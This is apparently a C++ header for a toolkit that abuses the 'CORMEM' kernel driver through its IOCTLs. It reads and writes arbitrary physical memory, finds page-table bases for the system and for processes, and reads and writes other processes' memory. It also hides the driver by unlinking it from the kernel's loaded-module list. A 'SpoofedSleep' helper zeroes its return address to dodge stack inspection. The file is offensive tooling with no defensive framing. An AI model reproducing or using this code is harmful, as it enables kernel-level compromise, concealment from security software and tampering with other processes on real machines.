#pragma once #include #include #include #define IOCTL_CORMEM_MAP_POOL 0x222000 #define IOCTL_CORMEM_MAP_BUFFER 0x22200C #define IOCTL_CORMEM_UNMAP_BUFFER 0x222010 #define IOCTL_CORMEM_READ_IO 0x222014 #define IOCTL_CORMEM_WRITE_IO 0x222018 #define IOCTL_CORMEM_LINEAR_TO_PHYS 0x22201C #define IOCTL_CORMEM_FREE_BUFFER 0x222020 #define IOCTL_CORMEM_LOCK_SG_BUFFER 0x222024 #define IOCTL_CORMEM_UNLOCK_SG_BUFFER 0x222028 #define IOCTL_CORMEM_UNLOCK_ALL_SG_BUFFER 0x22202C #define IOCTL_CORMEM_ALLOC_BUFFER 0x222030 #define IOCTL_CORMEM_ALLOC_MSG 0x222034 #define IOCTL_CORMEM_GET_MSG_BOUNDARY 0x222038 #define IOCTL_CORMEM_ALLOC_PHYS_MEMORY 0x22203C #define IOCTL_CORMEM_FREE_PHYS_MEMORY 0x222040 #define IOCTL_CORMEM_MAP_PHYS_MEMORY 0x222044 #define IOCTL_CORMEM_UNMAP_PHYS_MEMORY 0x222048 #define IOCTL_CORMEM_GET_PHYS_MEMORY 0x22204C #define IOCTL_CORMEM_GET_BUFFER_MEM_STATUS 0x222050 #define IOCTL_CORMEM_GET_MSG_MEM_STATUS 0x222054 #define IOCTL_CORMEM_CREATE_MDL_LOCK 0x222058 #define IOCTL_CORMEM_GET_POOL_BLOCK_COUNT 0x22205C #define IOCTL_CORMEM_GET_PHYS_MEMORY_64 0x222060 #define IOCTL_CORMEM_ALLOC_BUFFER_64 0x222064 #define IOCTL_CORMEM_GET_BUFFER64_MEM_STATUS 0x222068 #define CORMEM_DEVICE_NAME "\\\\.\\CORMEM" #define CORMEM_MAX_POOL_BLOCKS 0x101 #define PSB_SIGNATURE_OFFSET 0x000 #define PSB_KERNEL_ENTRY_OFFSET 0x070 #define PSB_PML4_OFFSET 0x0A0 #define PSB_SIGNATURE_MASK 0xffffffffffff00ffULL #define PSB_SIGNATURE_VALUE 0x00000001000600E9ULL #define KERNEL_VA_MASK 0xfffff80000000003ULL #define KERNEL_VA_EXPECTED 0xfffff80000000000ULL #define PML4_INVALID_BITS_MASK 0xffffff0000000fffULL #define PAGE_PRESENT 0x1 #define PAGE_LARGE 0x80 #define PAGE_4KB 0x1000ULL #define PAGE_2MB 0x200000ULL #define PAGE_1GB 0x40000000ULL namespace EProcess { constexpr uint64_t DirectoryTableBase = 0x028; constexpr uint64_t UniqueProcessId = 0x1D0; // Windows 11 25H2 build 26200 constexpr uint64_t ActiveProcessLinks = 0x1D8; // Windows 11 25H2 build 26200 constexpr uint64_t ImageFileName = 0x5E8; // Windows 11 25H2 build 26200 } // Offsets within kernel LDR_DATA_TABLE_ENTRY (x64, Windows 10/11) namespace LdrEntry { constexpr uint64_t InLoadOrderFlink = 0x000; // LIST_ENTRY.Flink constexpr uint64_t InLoadOrderBlink = 0x008; // LIST_ENTRY.Blink constexpr uint64_t BaseDllNameLength = 0x058; // UNICODE_STRING.Length (USHORT) constexpr uint64_t BaseDllNameBuffer = 0x060; // UNICODE_STRING.Buffer (PWSTR) } #define SystemExtendedHandleInformation 0x40 struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { PVOID Object; ULONG_PTR UniqueProcessId; ULONG_PTR HandleValue; ULONG GrantedAccess; USHORT CreatorBackTraceIndex; USHORT ObjectTypeIndex; ULONG HandleAttributes; ULONG Reserved; }; struct SYSTEM_HANDLE_INFORMATION_EX { ULONG_PTR NumberOfHandles; ULONG_PTR Reserved; SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; }; typedef NTSTATUS(NTAPI* PFN_NtQuerySystemInformation)( ULONG SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength ); #pragma pack(push, 1) struct CORMEM_ALLOC_BUFFER_IN { uint64_t Size; uint32_t Alignment; uint32_t Flags; }; static_assert(sizeof(CORMEM_ALLOC_BUFFER_IN) == 0x10); struct CORMEM_ALLOC_BUFFER_OUT { uint64_t PhysicalAddress; uint64_t Reserved; }; static_assert(sizeof(CORMEM_ALLOC_BUFFER_OUT) == 0x10); struct CORMEM_ALLOC_PHYS_IN { uint64_t Param0; uint64_t Param1; uint64_t Param2; uint64_t Param3; }; static_assert(sizeof(CORMEM_ALLOC_PHYS_IN) == 0x20); struct CORMEM_ALLOC_PHYS_OUT { uint64_t PhysicalAddress; uint64_t Param1; }; static_assert(sizeof(CORMEM_ALLOC_PHYS_OUT) == 0x10); struct CORMEM_MAP_BUFFER_IN { uint64_t Address; uint64_t Size; uint64_t Param2; }; static_assert(sizeof(CORMEM_MAP_BUFFER_IN) == 0x18); struct CORMEM_MAP_POOL_OUT { uint64_t UserAddress; uint64_t KernelAddress; uint64_t PhysicalAddress; uint32_t Size; }; static_assert(sizeof(CORMEM_MAP_POOL_OUT) == 0x1C); struct CORMEM_READ_IO_IN { uint32_t Width; uint64_t Address; }; static_assert(sizeof(CORMEM_READ_IO_IN) == 0x0C); struct CORMEM_WRITE_IO_IN { uint32_t Width; uint64_t Address; uint32_t Value; }; static_assert(sizeof(CORMEM_WRITE_IO_IN) == 0x10); struct CORMEM_UNMAP_PHYS_IN { uint64_t MappedAddress; uint64_t PhysAddress; }; static_assert(sizeof(CORMEM_UNMAP_PHYS_IN) == 0x10); struct CORMEM_UNMAP_BUFFER_IN { uint64_t MappedAddress; uint64_t Size; }; static_assert(sizeof(CORMEM_UNMAP_BUFFER_IN) == 0x10); #pragma pack(pop) struct PoolBlock { uint64_t UserAddress; uint64_t KernelAddress; uint64_t PhysicalAddress; uint64_t Size; }; class CorDrv { public: CorDrv() = default; ~CorDrv(); CorDrv(const CorDrv&) = delete; CorDrv& operator=(const CorDrv&) = delete; CorDrv(CorDrv&&) noexcept; CorDrv& operator=(CorDrv&&) noexcept; bool Initialize(); void Close(); bool IsValid() const { return m_Device != INVALID_HANDLE_VALUE; } uint64_t MapPhysicalMemory(uint64_t PhysicalAddress); bool UnmapPhysicalMemory(uint64_t MappedAddress, uint64_t PhysicalAddress); uint64_t LinearToPhys(uint64_t VirtualAddress); bool ReadIo(uint32_t Width, uint64_t Address, uint32_t* OutValue); bool WriteIo(uint32_t Width, uint64_t Address, uint32_t Value); bool AllocBuffer(uint64_t Size, uint32_t Alignment, uint32_t Flags, uint64_t* PhysAddress, uint64_t* UserAddress); bool FreeBuffer(uint64_t UserAddress); uint64_t MapBuffer(uint64_t Address, uint64_t Size, uint64_t Param); bool UnmapBuffer(uint64_t MappedAddress, uint64_t Size); bool AllocPhysMemory(uint64_t P0, uint64_t P1, uint64_t P2, uint64_t P3, uint64_t* OutPhys, uint64_t* OutParam); bool FreePhysMemory(uint64_t PhysAddress); bool GetPoolBlockCount(uint32_t* Count); uint64_t MapPhysToUser(uint64_t PhysAddress) const; uint64_t MapPhysToKernel(uint64_t PhysAddress) const; uint64_t MapUserToPhys(uint64_t UserAddress) const; uint64_t MapKernelToPhys(uint64_t KernelAddress) const; uint64_t MapKernelToUser(uint64_t KernelAddress) const; uint64_t MapUserToKernel(uint64_t UserAddress) const; bool ReadPhysicalMemory(uint64_t PhysicalAddress, void* Buffer, size_t Size); bool WritePhysicalMemory(uint64_t PhysicalAddress, const void* Buffer, size_t Size); template T ReadPhys(uint64_t PhysicalAddress) { T value{}; ReadPhysicalMemory(PhysicalAddress, &value, sizeof(T)); return value; } template void WritePhys(uint64_t PhysicalAddress, const T& Value) { WritePhysicalMemory(PhysicalAddress, &Value, sizeof(T)); } uint64_t FindSystemDTB(); uint64_t FindProcessDTB(DWORD Pid); uint64_t TranslateVirtualAddress(uint64_t DTB, uint64_t VirtualAddress); uint64_t GetSystemEprocessVA(); bool HideDriver(const wchar_t* DriverBaseName); bool RestoreDriver(); bool ReadProcessMemory(uint64_t DTB, uint64_t VirtualAddress, void* Buffer, size_t Size); bool WriteProcessMemory(uint64_t DTB, uint64_t VirtualAddress, const void* Buffer, size_t Size); template T ReadProcess(uint64_t DTB, uint64_t VirtualAddress) { T value{}; ReadProcessMemory(DTB, VirtualAddress, &value, sizeof(T)); return value; } template void WriteProcess(uint64_t DTB, uint64_t VirtualAddress, const T& Value) { WriteProcessMemory(DTB, VirtualAddress, &Value, sizeof(T)); } uint64_t GetSystemDTB() const { return m_SystemDTB; } private: bool SendIoctl(DWORD IoControlCode, void* InBuffer, DWORD InSize, void* OutBuffer, DWORD OutSize, DWORD* BytesReturned = nullptr); bool MapPoolBlock(uint32_t Index); static bool TryFindDTBFromLowStub(uint8_t* LowStub1M, uint64_t& OutDTB, uint64_t& OutKernelEntry); bool ValidatePML4Page(uint64_t DTB, uint64_t MaxPhysAddr); static uint64_t GetNtoskrnlBase(char* OutName = nullptr, size_t NameSize = 0); static uint64_t ResolvePsLoadedModuleList(uint64_t NtBase, const char* NtName); // Physical-memory-only methods uint64_t FindNtoskrnlBaseViaPhys(); uint64_t ResolveKernelExportViaPhys(uint64_t NtBaseVA, const char* ExportName); HANDLE m_Device = INVALID_HANDLE_VALUE; uint32_t m_PoolBlockCount = 0; PoolBlock m_PoolBlocks[CORMEM_MAX_POOL_BLOCKS] = {}; uint64_t m_SystemDTB = 0; uint64_t m_KernelEntryVA = 0; // kernel entry point VA from low stub // HideDriver state — used by RestoreDriver uint64_t m_HiddenEntryVA = 0; // VA of CORMEM LDR_DATA_TABLE_ENTRY in kernel uint64_t m_HiddenEntryFlink = 0; // original Flink saved before unlinking uint64_t m_HiddenEntryBlink = 0; // original Blink saved before unlinking }; // Custom function to spoof sleep namespace Utils { inline void WINAPI SpoofedSleep(DWORD dwMilliseconds) { auto overwrite = (PULONG_PTR)_AddressOfReturnAddress(); const auto origReturnAddress = *overwrite; *overwrite = 0; ::SleepEx(dwMilliseconds, false); *overwrite = origReturnAddress; } }